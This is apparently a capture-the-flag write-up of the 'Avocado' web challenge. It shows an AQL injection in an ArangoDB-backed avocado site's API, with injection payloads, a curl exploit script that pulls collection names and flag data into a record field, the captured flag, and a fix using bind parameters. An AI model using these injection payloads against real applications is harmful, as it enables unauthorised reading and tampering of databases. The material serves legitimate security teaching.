4 minutes
Avocado Write-Up
π Challenge Description
I love avocados! So I created a small website to show what different kinds of avocados exists. Hope you like it :) PS: Be aware that the setup take around 30 Seconds to boot.
π Research
As this is a web challenge, we are given a URL with a running webapp on it. When accessing the webpage, we are presented with a Table which contains different types of Avocado Names:
When double-clicking on one name, we land on another page with some more details about the selected Avocado:
I used OWASP ZAP to intercept and observe the requests made by the browser when clicking through the webapp. While going through the different Requests, I noticed one HTTP GET Request made by the webapp against the /api/avocado/Gwen
endpoint, which returned some json data about the Gwen Avocado:
π Vulnerability Description
While playing around with the Avocado Name in the /api/avocado/<avocado_name>
endpoint, I found that the endpoint is vulnerable to a SQL Injection. By specifying a single quote character as the avocado name, an error is returned showing the exact query that caused the error:
One of the first important things to know when exploiting a SQLInjection is the Database-Management-System (DBMS) that is used so we know what syntax and functions are available to use in the SQL Injection. Luckily, we have ChatGPT for this task:
So the DBMS used is apparently ArangoDB, which ironically enough has an Avocado as its logo, so weβre probably on the right track!
π§ Exploit Development
The next thing we want to know is what functionality ArangoDB offers in its Queries. How can we get all collection names and retrieve data from them? A look at the documentation reveals two useful functions:
COLLECTIONS()
, which returns an array of all collections in this database, andTO_STRING(value)
, which returns a string representation of value.
Now, let’s construct our malicious avocado_name that we will send to the /api/avocado/<avocado_name>
endpoint and see how that affects the overall ArangoDB Query being made on the backend:
# avocado_name
Gwen' UPDATE {_key: avc._key, shape: TO_STRING(COLLECTIONS())} IN avocado_items LET a='
# Resulting Query on Backend:
FOR avc in avocado_items FILTER avc.name == 'Gwen' UPDATE {_key: avc._key, shape: TO_STRING(COLLECTIONS())} IN avocado_items LET a='' RETURN avc
The resulting Query will update the shape
attribute of the avocado with the name Gwen to the string representation of the array of all collections, and return the old Gwen avocado object avc
. As the old avocado object is returned, we have to access the Gwen avocado data again in order to see the modified shape
attribute. We can do this with a simple /api/avocado/Gwen
HTTP GET request. In the result of the second request we can now inspect the shape attribute and see a collection named flag_items_c50044c5
:
Let’s repeat this process to extract all contents of the flag_items_c50044c5
collection:
# avocado_name
Gwen' LET s=(FOR f in flag_items_c50044c5 RETURN f) UPDATE {_key: avc._key, shape: TO_STRING(s)} IN avocado_items LET a='
# Resulting Query on Backend:
FOR avc in avocado_items FILTER avc.name == 'Gwen' LET s=(FOR f in flag_items_c50044c5 RETURN f) UPDATE {_key: avc._key, shape: TO_STRING(s)} IN avocado_items LET a='' RETURN avc
The resulting Query will update the shape
attribute of the avocado with the name Gwen to the string representation of the array of all contents in the flag_items_c50044c5
collection. In the result of the second request we can inspect the shape attribute and see an entry with the flag:
π Exploit Program
#!/usr/bin/env bash
BASE_URL="https://10e735fb9500b409f30c3491-avocado.challenge.master.cscg.live:31337"
curl -s "$BASE_URL/api/avocado/Gwen'%20UPDATE%20%7B_key:%20avc._key,%20shape:%20TO_STRING(COLLECTIONS())%7D%20IN%20avocado_items%20LET%20a='" >/dev/null
curl -s "$BASE_URL/api/avocado/Gwen'%20LET%20s=(FOR%20f%20in%20flag_items_c50044c5%20RETURN%20f)%20UPDATE%20%7B_key:%20avc._key,%20shape:%20TO_STRING(s)%7D%20IN%20avocado_items%20LET%20a='" >/dev/null
curl -s "$BASE_URL/api/avocado/Gwen" | grep --color=never -oP "CSCG{.*?}"
π₯ Run Exploit
FLAG: CSCG{yummy_4v0c4d0_db_gr4ph_1nj3ct10ns}
π‘οΈ Possible Prevention
The backend that made the ArangoDB requests should use bind parameters instead of simply concating user input into the query. A sample correct request is shown below:
{
"query": "FOR avc IN avocado_items FILTER u.name == @name RETURN avc",
"bindVars": {
"name": "Gwen"
}
}
This prevents the user input from escaping the single quotes in the original query. In fact, the concept of separating the query and its corresponding user input is a common best practice also found in MySQL prepared statements.
ποΈ Further References
Bind Parameters | AQL Fundamentals | AQL | ArangoDB Documentation